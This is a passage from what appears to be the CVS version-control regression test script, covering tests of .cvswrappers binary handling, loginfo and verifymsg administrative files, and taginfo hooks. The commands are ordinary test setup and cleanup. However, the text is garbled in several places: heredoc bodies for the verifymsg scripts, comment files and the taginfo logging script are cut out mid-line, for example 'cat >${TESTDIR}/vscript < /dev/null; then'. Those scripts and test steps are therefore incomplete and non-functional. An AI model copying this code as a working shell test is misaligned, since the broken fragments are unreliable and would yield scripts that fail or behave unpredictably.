\tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.1\\.1.*\n Repository revision:\t1\\.1\\.1\\.1\t${CVSROOT_DIRNAME}/first-dir/foo\\.c,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-ko\n\n===================================================================\nFile: foo\\.exe \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.1\\.1.*\n Repository revision:\t1\\.1\\.1\\.1\t${CVSROOT_DIRNAME}/first-dir/foo\\.exe,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\t rm -r first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n binwrap3)\n # Test communication of file-specified -k wrappers between\n # client and server, in `import':\n #\n # 1. Set up a directory tree, populate it with files.\n # 2. Give each directory a different .cvswrappers file. \n # 3. Give the server its own .cvswrappers file.\n # 4. Import the whole tree, see if the right files got set\n # to binary.\n #\n # The tree has a top (\"0th\") level, and two subdirs, sub1/\n # and sub2/; sub2/ contains directory subsub/. Every\n # directory has a .cvswrappers file as well as regular\n # files.\n #\n # In the file names, \"foo-b.*\" should end up binary, and\n # \"foo-t.*\" should end up text. Don't worry about the two\n # letter extensions; they're just there to help me keep\n # things straight.\n #\n # Here's the directory tree:\n #\n # ./\n # .cvswrappers\n # foo-b.c0\n # foo-b.sb\n # foo-t.c1\n # foo-t.st\n #\n # sub1/ sub2/\n # .cvswrappers .cvswrappers\n # foo-b.c1 foo-b.sb\n # foo-b.sb foo-b.st\n # foo-t.c0 foo-t.c0\n # foo-t.st foo-t.c1\n # foo-t.c2\n # foo-t.c3\n #\n # subsub/\n # .cvswrappers\n # foo-b.c3\n # foo-b.sb\n # foo-t.c0\n # foo-t.c1\n # foo-t.c2\n # foo-t.st\n\n binwrap3_line1=\"This is a test file \"\n binwrap3_line2=\"containing little of use \"\n binwrap3_line3=\"except this non-haiku\"\n\n binwrap3_text=\"${binwrap3_line1}${binwrap3_line2}${binwrap3_line3}\"\n\n cd ${TESTDIR}\n\n\t # On Windows, we can't check out CVSROOT, because the case\n\t # insensitivity means that this conflicts with cvsroot.\n\t mkdir wnt\n\t cd wnt\n\n mkdir binwrap3 # the 0th dir\n mkdir binwrap3/sub1\n mkdir binwrap3/sub2\n mkdir binwrap3/sub2/subsub\n \n echo \"bar*\" > binwrap3/.cvswrappers\n echo \"*.c0 -k 'b'\" >> binwrap3/.cvswrappers\n echo \"whatever -k 'b'\" >> binwrap3/.cvswrappers\n echo ${binwrap3_text} > binwrap3/foo-b.c0\n echo ${binwrap3_text} > binwrap3/bar-t.c0\n echo ${binwrap3_text} > binwrap3/foo-b.sb\n echo ${binwrap3_text} > binwrap3/foo-t.sb\n echo ${binwrap3_text} > binwrap3/foo-t.c1\n echo ${binwrap3_text} > binwrap3/foo-t.st\n\n echo \"bar* -k 'kv'\" > binwrap3/sub1/.cvswrappers\n echo \"*.c1 -k 'b'\" >> binwrap3/sub1/.cvswrappers\n echo \"whatever -k 'b'\" >> binwrap3/sub1/.cvswrappers\n echo ${binwrap3_text} > binwrap3/sub1/foo-b.c1\n echo ${binwrap3_text} > binwrap3/sub1/bar-t.c1\n echo ${binwrap3_text} > binwrap3/sub1/foo-b.sb\n echo ${binwrap3_text} > binwrap3/sub1/foo-t.sb\n echo ${binwrap3_text} > binwrap3/sub1/foo-t.c0\n echo ${binwrap3_text} > binwrap3/sub1/foo-t.st\n\n echo \"bar*\" > binwrap3/sub2/.cvswrappers\n echo \"*.st -k 'b'\" >> binwrap3/sub2/.cvswrappers\n echo ${binwrap3_text} > binwrap3/sub2/foo-b.sb\n echo ${binwrap3_text} > binwrap3/sub2/foo-t.sb\n echo ${binwrap3_text} > binwrap3/sub2/foo-b.st\n echo ${binwrap3_text} > binwrap3/sub2/bar-t.st\n echo ${binwrap3_text} > binwrap3/sub2/foo-t.c0\n echo ${binwrap3_text} > binwrap3/sub2/foo-t.c1\n echo ${binwrap3_text} > binwrap3/sub2/foo-t.c2\n echo ${binwrap3_text} > binwrap3/sub2/foo-t.c3\n\n echo \"bar* -k 'kv'\" > binwrap3/sub2/subsub/.cvswrappers\n echo \"*.c3 -k 'b'\" >> binwrap3/sub2/subsub/.cvswrappers\n echo \"foo -k 'b'\" >> binwrap3/sub2/subsub/.cvswrappers\n echo \"c0* -k 'b'\" >> binwrap3/sub2/subsub/.cvswrappers\n echo ${binwrap3_text} > binwrap3/sub2/subsub/foo-b.c3\n echo ${binwrap3_text} > binwrap3/sub2/subsub/bar-t.c3\n echo ${binwrap3_text} > binwrap3/sub2/subsub/foo-b.sb\n echo ${binwrap3_text} > binwrap3/sub2/subsub/foo-t.sb\n echo ${binwrap3_text} > binwrap3/sub2/subsub/foo-t.c0\n echo ${binwrap3_text} > binwrap3/sub2/subsub/foo-t.c1\n echo ${binwrap3_text} > binwrap3/sub2/subsub/foo-t.c2\n echo ${binwrap3_text} > binwrap3/sub2/subsub/foo-t.st\n\n # Now set up CVSROOT/cvswrappers, the easy way:\n\t dotest binwrap3-1 \"${testcvs} -q co CVSROOT\" \"[UP] CVSROOT${DOTSTAR}\"\n\t cd CVSROOT\n # This destroys anything currently in cvswrappers, but\n\t # presumably other tests will take care of it themselves if\n\t # they use cvswrappers:\n\t echo \"foo-t.sb\" > cvswrappers\n\t echo \"foo*.sb -k 'b'\" >> cvswrappers\n\t dotest binwrap3-2 \"${testcvs} -q ci -m cvswrappers-mod\" \\\n\"Checking in cvswrappers;\n${CVSROOT_DIRNAME}/CVSROOT/cvswrappers,v <-- cvswrappers\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n cd ..\n\n # Avoid environmental interference\n CVSWRAPPERS_save=${CVSWRAPPERS}\n unset CVSWRAPPERS\n\n # Do the import\n cd binwrap3\n\t # Not importing .cvswrappers tests whether the client is really\n\t # letting the server know \"honestly\" whether the file is binary,\n\t # rather than just letting the server see the .cvswrappers file.\n dotest binwrap3-2a \\\n\"${testcvs} import -m . -I .cvswrappers binwrap3 tag1 tag2\" \\\n\"[NI] ${DOTSTAR}\"\n\n\t # OK, now test \"cvs add\".\n cd ..\n\t rm -r binwrap3\n dotest binwrap3-2b \"${testcvs} co binwrap3\" \"${DOTSTAR}\"\n cd binwrap3\n\t cd sub2\n\t echo \"*.newbin -k 'b'\" > .cvswrappers\n\t echo .cvswrappers >.cvsignore\n\t echo .cvsignore >>.cvsignore\n\t touch file1.newbin file1.txt\n\t dotest binwrap3-2c \"${testcvs} add file1.newbin file1.txt\" \\\n\"${PROG} add: scheduling file .file1\\.newbin. for addition\n${PROG} add: scheduling file .file1\\.txt. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest binwrap3-2d \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/binwrap3/sub2/file1\\.newbin,v\ndone\nChecking in file1\\.newbin;\n${CVSROOT_DIRNAME}/binwrap3/sub2/file1\\.newbin,v <-- file1\\.newbin\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/binwrap3/sub2/file1\\.txt,v\ndone\nChecking in file1\\.txt;\n${CVSROOT_DIRNAME}/binwrap3/sub2/file1\\.txt,v <-- file1\\.txt\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\n # Now check out the module and see which files are binary.\n cd ..\n\t rm -r binwrap3\n dotest binwrap3-3 \"${testcvs} co binwrap3\" \"${DOTSTAR}\"\n cd binwrap3\n\n # Running \"cvs status\" and matching output is too\n # error-prone, too likely to falsely fail. Instead, we'll\n # just grep the Entries lines:\n\n dotest binwrap3-top1 \"grep foo-b.c0 ./CVS/Entries\" \\\n \"/foo-b.c0/1.1.1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\n dotest binwrap3-top2 \"grep foo-b.sb ./CVS/Entries\" \\\n \"/foo-b.sb/1.1.1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\n dotest binwrap3-top3 \"grep foo-t.c1 ./CVS/Entries\" \\\n \"/foo-t.c1/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-top4 \"grep foo-t.st ./CVS/Entries\" \\\n \"/foo-t.st/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-top5 \"grep foo-t.sb ./CVS/Entries\" \\\n \"/foo-t.sb/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-top6 \"grep bar-t.c0 ./CVS/Entries\" \\\n \"/bar-t.c0/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub1-1 \"grep foo-b.c1 sub1/CVS/Entries\" \\\n \"/foo-b.c1/1.1.1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\n dotest binwrap3-sub1-2 \"grep foo-b.sb sub1/CVS/Entries\" \\\n \"/foo-b.sb/1.1.1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\n dotest binwrap3-sub1-3 \"grep foo-t.c0 sub1/CVS/Entries\" \\\n \"/foo-t.c0/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub1-4 \"grep foo-t.st sub1/CVS/Entries\" \\\n \"/foo-t.st/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub1-5 \"grep foo-t.sb sub1/CVS/Entries\" \\\n \"/foo-t.sb/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub1-6 \"grep bar-t.c1 sub1/CVS/Entries\" \\\n \"/bar-t.c1/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub2-1 \"grep foo-b.sb sub2/CVS/Entries\" \\\n \"/foo-b.sb/1.1.1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\n dotest binwrap3-sub2-2 \"grep foo-b.st sub2/CVS/Entries\" \\\n \"/foo-b.st/1.1.1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\n dotest binwrap3-sub2-3 \"grep foo-t.c0 sub2/CVS/Entries\" \\\n \"/foo-t.c0/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub2-4 \"grep foo-t.c1 sub2/CVS/Entries\" \\\n \"/foo-t.c1/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub2-5 \"grep foo-t.c2 sub2/CVS/Entries\" \\\n \"/foo-t.c2/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub2-6 \"grep foo-t.c3 sub2/CVS/Entries\" \\\n \"/foo-t.c3/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub2-7 \"grep foo-t.sb sub2/CVS/Entries\" \\\n \"/foo-t.sb/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-sub2-8 \"grep bar-t.st sub2/CVS/Entries\" \\\n \"/bar-t.st/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-subsub1 \"grep foo-b.c3 sub2/subsub/CVS/Entries\" \\\n \"/foo-b.c3/1.1.1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\n dotest binwrap3-subsub2 \"grep foo-b.sb sub2/subsub/CVS/Entries\" \\\n \"/foo-b.sb/1.1.1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\n dotest binwrap3-subsub3 \"grep foo-t.c0 sub2/subsub/CVS/Entries\" \\\n \"/foo-t.c0/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-subsub4 \"grep foo-t.c1 sub2/subsub/CVS/Entries\" \\\n \"/foo-t.c1/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-subsub5 \"grep foo-t.c2 sub2/subsub/CVS/Entries\" \\\n \"/foo-t.c2/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-subsub6 \"grep foo-t.st sub2/subsub/CVS/Entries\" \\\n \"/foo-t.st/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-subsub7 \"grep foo-t.sb sub2/subsub/CVS/Entries\" \\\n \"/foo-t.sb/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n dotest binwrap3-subsub8 \"grep bar-t.c3 sub2/subsub/CVS/Entries\" \\\n \"/bar-t.c3/1.1.1.1/[A-Za-z0-9 \t:]*//\"\n\n\t dotest binwrap3-sub2-add1 \"grep file1.newbin sub2/CVS/Entries\" \\\n\t \"/file1.newbin/1.1/[A-Za-z0-9 \t:]*/-kb/\"\n\t dotest binwrap3-sub2-add2 \"grep file1.txt sub2/CVS/Entries\" \\\n\t \"/file1.txt/1.1/[A-Za-z0-9 \t:]*//\"\n\n # Restore and clean up\n cd ..\n\t rm -r binwrap3 CVSROOT\n\t cd ..\n\t rm -r wnt\n\t rm -rf ${CVSROOT_DIRNAME}/binwrap3\n CVSWRAPPERS=${CVSWRAPPERS_save}\n ;; \n\n\tmwrap)\n\t # Tests of various wrappers features:\n\t # -m 'COPY' and cvs update: mwrap\n\t # -m 'COPY' and joining: mcopy\n\t # -k: binwrap, binwrap2\n\t # -t/-f: hasn't been written yet.\n\t # \n\t # Tests of different ways of specifying wrappers:\n\t # CVSROOT/cvswrappers: mwrap\n\t # -W: binwrap, binwrap2\n\t # .cvswrappers in working directory, local: mcopy\n\t # CVSROOT/cvswrappers, .cvswrappers remote: binwrap3\n\t # CVSWRAPPERS environment variable: mcopy\n\n\t # This test is similar to binfiles-con1; -m 'COPY' specifies\n\t # non-mergeableness the same way that -kb does.\n\n\t # On Windows, we can't check out CVSROOT, because the case\n\t # insensitivity means that this conflicts with cvsroot.\n\t mkdir wnt\n\t cd wnt\n\n\t dotest mwrap-c1 \"${testcvs} -q co CVSROOT\" \"[UP] CVSROOT${DOTSTAR}\"\n\t cd CVSROOT\n\t echo \"* -m 'COPY'\" >>cvswrappers\n\t dotest mwrap-c2 \"${testcvs} -q ci -m wrapper-mod\" \\\n\"Checking in cvswrappers;\n${CVSROOT_DIRNAME}/CVSROOT/cvswrappers,v <-- cvswrappers\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..\n\t mkdir m1; cd m1\n\t dotest mwrap-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest mwrap-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch aa\n\t dotest mwrap-3 \"${testcvs} add aa\" \\\n\"${PROG} add: scheduling file .aa. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest mwrap-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aa,v\ndone\nChecking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\t mkdir m2; cd m2\n\t dotest mwrap-5 \"${testcvs} -q co first-dir\" \"U first-dir/aa\"\n\t cd first-dir\n\t echo \"changed in m2\" >aa\n\t dotest mwrap-6 \"${testcvs} -q ci -m m2-mod\" \\\n\"Checking in aa;\n${CVSROOT_DIRNAME}/first-dir/aa,v <-- aa\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../..\n\t cd m1/first-dir\n\t echo \"changed in m1\" >aa\n\t dotest mwrap-7 \"$testcvs -nq update\" \\\n\"${PROG} update: nonmergeable file needs merge\n${PROG} update: revision 1\\.2 from repository is now in aa\n${PROG} update: file from working directory is now in \\.#aa\\.1\\.1\nC aa\"\n\t dotest mwrap-8 \"${testcvs} -q update\" \\\n\"$PROG update: nonmergeable file needs merge\n${PROG} update: revision 1\\.2 from repository is now in aa\n${PROG} update: file from working directory is now in \\.#aa\\.1\\.1\nC aa\"\n\t dotest mwrap-9 \"cat aa\" \"changed in m2\"\n\t dotest mwrap-10 \"cat .#aa.1.1\" \"changed in m1\"\n\t cd ../..\n\t cd CVSROOT\n\t echo '# comment out' >cvswrappers\n\t dotest mwrap-ce \"${testcvs} -q ci -m wrapper-mod\" \\\n\"Checking in cvswrappers;\n${CVSROOT_DIRNAME}/CVSROOT/cvswrappers,v <-- cvswrappers\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..\n\t rm -r CVSROOT\n\t rm -r m1 m2\n\t cd ..\n\t rm -r wnt\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tinfo)\n\t # Administrative file tests.\n\t # Here is a list of where each administrative file is tested:\n\t # loginfo: info\n\t # modules: modules, modules2, modules3\n\t # cvsignore: ignore\n\t # verifymsg: info\n\t # cvswrappers: mwrap\n\t # taginfo: taginfo\n\t # config: config\n\n\t # On Windows, we can't check out CVSROOT, because the case\n\t # insensitivity means that this conflicts with cvsroot.\n\t mkdir wnt\n\t cd wnt\n\n\t dotest info-1 \"${testcvs} -q co CVSROOT\" \"[UP] CVSROOT${DOTSTAR}\"\n\t cd CVSROOT\n\t rm -f $TESTDIR/testlog $TESTDIR/testlog2\n\t echo \"ALL sh -c \\\"echo x\\${=MYENV}\\${=OTHER}y\\${=ZEE}=\\$USER=\\$CVSROOT= >>$TESTDIR/testlog; cat >/dev/null\\\"\" > loginfo\n # The following cases test the format string substitution\n echo \"ALL echo %{sVv} >>$TESTDIR/testlog2; cat >/dev/null\" >> loginfo\n echo \"ALL echo %{v} >>$TESTDIR/testlog2; cat >/dev/null\" >> loginfo\n echo \"ALL echo %s >>$TESTDIR/testlog2; cat >/dev/null\" >> loginfo\n echo \"ALL echo %{V}AX >>$TESTDIR/testlog2; cat >/dev/null\" >> loginfo\n echo \"first-dir echo %sux >>$TESTDIR/testlog2; cat >/dev/null\" \\\n >> loginfo\n\n\t # Might be nice to move this to crerepos tests; it should\n\t # work to create a loginfo file if you didn't create one\n\t # with \"cvs init\".\n\t : dotest info-2 \"${testcvs} add loginfo\" \\\n\"${PROG}\"' add: scheduling file `loginfo'\"'\"' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\n\t dotest info-3 \"${testcvs} -q ci -m new-loginfo\" \\\n\"Checking in loginfo;\n${CVSROOT_DIRNAME}/CVSROOT/loginfo,v <-- loginfo\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest info-5 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t touch file1\n\t dotest info-6 \"${testcvs} add file1\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t echo \"cvs -s OTHER=not-this -s MYENV=env-\" >>$HOME/.cvsrc\n\t dotest info-6a \"${testcvs} -q -s OTHER=value ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\n${PROG} commit: loginfo:1: no such user variable \\${=ZEE}\"\n\t echo line0 >>file1\n\t dotest info-6b \"${testcvs} -q -sOTHER=foo ci -m mod-it\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\n${PROG} commit: loginfo:1: no such user variable \\${=ZEE}\"\n\t echo line1 >>file1\n\t dotest info-7 \"${testcvs} -q -s OTHER=value -s ZEE=z ci -m mod-it\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t cd ..\n\t dotest info-9 \"cat $TESTDIR/testlog\" \"xenv-valueyz=${username}=${CVSROOT_DIRNAME}=\"\n dotest info-10 \"cat $TESTDIR/testlog2\" \\\n'first-dir file1,NONE,1.1\nfirst-dir 1.1\nfirst-dir file1\nfirst-dir NONEAX\nfirst-dir file1ux\nfirst-dir file1,1.1,1.2\nfirst-dir 1.2\nfirst-dir file1\nfirst-dir 1.1AX\nfirst-dir file1ux\nfirst-dir file1,1.2,1.3\nfirst-dir 1.3\nfirst-dir file1\nfirst-dir 1.2AX\nfirst-dir file1ux'\n\n\t cd CVSROOT\n\t echo '# do nothing' >loginfo\n\t dotest info-11 \"${testcvs} -q -s ZEE=garbage ci -m nuke-loginfo\" \\\n\"Checking in loginfo;\n${CVSROOT_DIRNAME}/CVSROOT/loginfo,v <-- loginfo\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t # Now test verifymsg\n\t cat >${TESTDIR}/vscript < /dev/null; then\n exit 0\nelif sed 1q < \\$1 | grep '^BugId:[ ]*new$' > /dev/null; then\n echo A new bugid was found. >> \\$1\n exit 0\nelse\n echo \"No BugId found.\"\n sleep 1\n exit 1\nfi\nEOF\n\t cat >${TESTDIR}/vscript2 </dev/null 2>&1; then\n\texit 1\nelse\n\texit 0\nfi\nEOF\n\t # Grumble, grumble, mumble, search for \"Cygwin\".\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod +x ${TESTDIR}/vscript*\"\n\t else\n\t chmod +x ${TESTDIR}/vscript*\n\t fi\n\t echo \"^first-dir/yet-another\\\\(/\\\\|\\$\\\\) ${TESTDIR}/vscript2\" >>verifymsg\n\t echo \"^first-dir\\\\(/\\\\|\\$\\\\) ${TESTDIR}/vscript\" >>verifymsg\n\t echo \"^missing-script\\$ ${TESTDIR}/bogus\" >>verifymsg\n\t echo \"^missing-var\\$ ${TESTDIR}/vscript \\${=Bogus}\" >>verifymsg\n\t # first test the directory independant verifymsg\n\t dotest info-v1 \"${testcvs} -q ci -m add-verification\" \\\n\"Checking in verifymsg;\n${CVSROOT_DIRNAME}/CVSROOT/verifymsg,v <-- verifymsg\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t cd ../first-dir\n\t echo line2 >>file1\n\t dotest_fail info-v2 \"${testcvs} -q ci -m bogus\" \\\n\"No BugId found\\.\n${PROG} \\[commit aborted\\]: Message verification failed\"\n\n\t cat >${TESTDIR}/comment.tmp <>config\n\t dotest info-rereadlog-1 \"${testcvs} -q ci -m add-RereadLogAfterVerify=always\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../first-dir\n\t echo line3 >>file1\n\t cat >${TESTDIR}/comment.tmp < config.new\n\t mv config.new config\n\t echo \"RereadLogAfterVerify=stat\" >>config\n\t dotest info-reread-4 \"${testcvs} -q ci -m add-RereadLogAfterVerify=stat\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../first-dir\n\t echo line4 >>file1\n\t cat >${TESTDIR}/comment.tmp < config.new\n\t mv config.new config\n\t echo \"RereadLogAfterVerify=never\" >>config\n\t dotest info-reread-7 \"${testcvs} -q ci -m add-RereadLogAfterVerify=never\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../first-dir\n\t echo line5 >>file1\n\t cat >${TESTDIR}/comment.tmp <verifymsg\n\t echo 'DEFAULT true' >>verifymsg\n\t echo '# defaults' >config\n\t dotest info-multdef \"${testcvs} -q ci -m multdef\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\nChecking in verifymsg;\n${CVSROOT_DIRNAME}/CVSROOT/verifymsg,v <-- verifymsg\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t cd ../CVSROOT\n\t echo '# do nothing' >verifymsg\n\t dotest info-cleanup-verifymsg \"${testcvs} -q ci -m nuke-verifymsg\" \\\n\"${PROG} commit: Multiple .DEFAULT. lines (1 and 2) in verifymsg file\nChecking in verifymsg;\n${CVSROOT_DIRNAME}/CVSROOT/verifymsg,v <-- verifymsg\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t rm ${TESTDIR}/vscript*\n\t cd ..\n\n\t dotest_fail info-cleanup-0 \"${testcvs} -n release -d CVSROOT\" \\\n\"${PROG} \\[release aborted\\]: cannot run command ${DOTSTAR}\"\n\n\t if echo \"yes\" | ${testcvs} release -d CVSROOT >>${LOGFILE} ; then\n\t pass info-cleanup\n\t else\n\t fail info-cleanup\n\t fi\n\t if echo \"yes\" | ${testcvs} release -d first-dir >>${LOGFILE} ; then\n\t pass info-cleanup-2\n\t else\n\t fail info-cleanup-2\n\t fi\n\t cd ..\n\t rm -r wnt\n\t rm $HOME/.cvsrc\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\ttaginfo)\n\t # Tests of the CVSROOT/taginfo file. See the comment at the\n\t # \"info\" tests for a full list of administrative file tests.\n\n\t # Tests to add:\n\t # -F to move\n\n\t mkdir 1; cd 1\n\t dotest taginfo-1 \"${testcvs} -q co CVSROOT\" \"U CVSROOT/${DOTSTAR}\"\n\t cd CVSROOT\n\t cat >${TESTDIR}/1/loggit <>${TESTDIR}/1/taglog\n exit 0\nfi\nEOF\n\t # #^@&!^@ Cygwin.\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod +x ${TESTDIR}/1/loggit\"\n\t else\n\t chmod +x ${TESTDIR}/1/loggit\n\t fi\n\t echo \"ALL ${TESTDIR}/1/loggit\" >taginfo\n\t dotest taginfo-2 \"${testcvs} -q ci -m check-in-taginfo\" \\\n\"Checking in taginfo;\n${CVSROOT_DIRNAME}/CVSROOT/taginfo,v <-- taginfo\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..\n\n\t # taginfo-3 used to rely on the top-level CVS directory\n\t # being created to add \"first-dir\" to the repository. Since\n\t # that won't happen anymore, we create the directory in the\n\t # repository.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest taginfo-3 \"${testcvs} -q co first-dir\" ''\n\n\t cd first-dir\n\t echo first >file1\n\t dotest taginfo-4 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest taginfo-5 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest taginfo-6 \"${testcvs} -q tag tag1\" \"T file1\"\n\t dotest taginfo-7 \"${testcvs} -q tag -b br\" \"T file1\"\n\t dotest taginfo-8 \"$testcvs -q update -r br\" '[UP] file1'\n\t echo add text on branch >>file1\n\t dotest taginfo-9 \"${testcvs} -q ci -m modify-on-br\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest taginfo-10 \"${testcvs} -q tag -F -c brtag\" \"T file1\"\n\n\t dotest_fail taginfo-11 \"${testcvs} -q tag rejectme\" \\\n\"${PROG} tag: Pre-tag check failed\n${PROG} \\[tag aborted\\]: correct the above errors first!\"\n\n\t # When we are using taginfo to allow/disallow, it would be\n\t # convenient to be able to use \"cvs -n tag\" to test whether\n\t # the allow/disallow functionality is working as expected.\n\t dotest taginfo-12 \"${testcvs} -nq tag rejectme\" \"T file1\"\n\n\t # But when taginfo is used for logging, it is a pain for -n\n\t # to call taginfo, since taginfo doesn't know whether -n was\n\t # specified or not.\n\t dotest taginfo-13 \"${testcvs} -nq tag would-be-tag\" \"T file1\"\n\n\t # Deleting: the cases are basically either the tag existed,\n\t # or it didn't exist.\n\t dotest taginfo-14 \"${testcvs} -q tag -d tag1\" \"D file1\"\n\t dotest taginfo-15 \"${testcvs} -q tag -d tag1\" \"\"\n\n\t # Likewise with rtag.\n\t dotest taginfo-16 \"${testcvs} -q rtag tag1 first-dir\" \"\"\n\t dotest taginfo-17 \"${testcvs} -q rtag -d tag1 first-dir\" \"\"\n\t dotest taginfo-18 \"${testcvs} -q rtag -d tag1 first-dir\" \"\"\n\n\t # The \"br\" example should be passing 1.1.2 or 1.1.0.2.\n\t # But it turns out that is very hard to implement, since\n\t # check_fileproc doesn't know what branch number it will\n\t # get. Probably the whole thing should be re-architected\n\t # so that taginfo only allows/denies tagging, and a new\n\t # hook, which is done from tag_fileproc, does logging.\n\t # That would solve this, some more subtle races, and also\n\t # the fact that it is nice for users to run \"-n tag foo\" to\n\t # see whether a tag would be allowed. Failing that,\n\t # I suppose passing \"1.1.branch\" or \"branch\" for \"br\"\n\t # would be an improvement.\n\t dotest taginfo-examine \"cat ${TESTDIR}/1/taglog\" \\\n\"tag1 add ${CVSROOT_DIRNAME}/first-dir file1 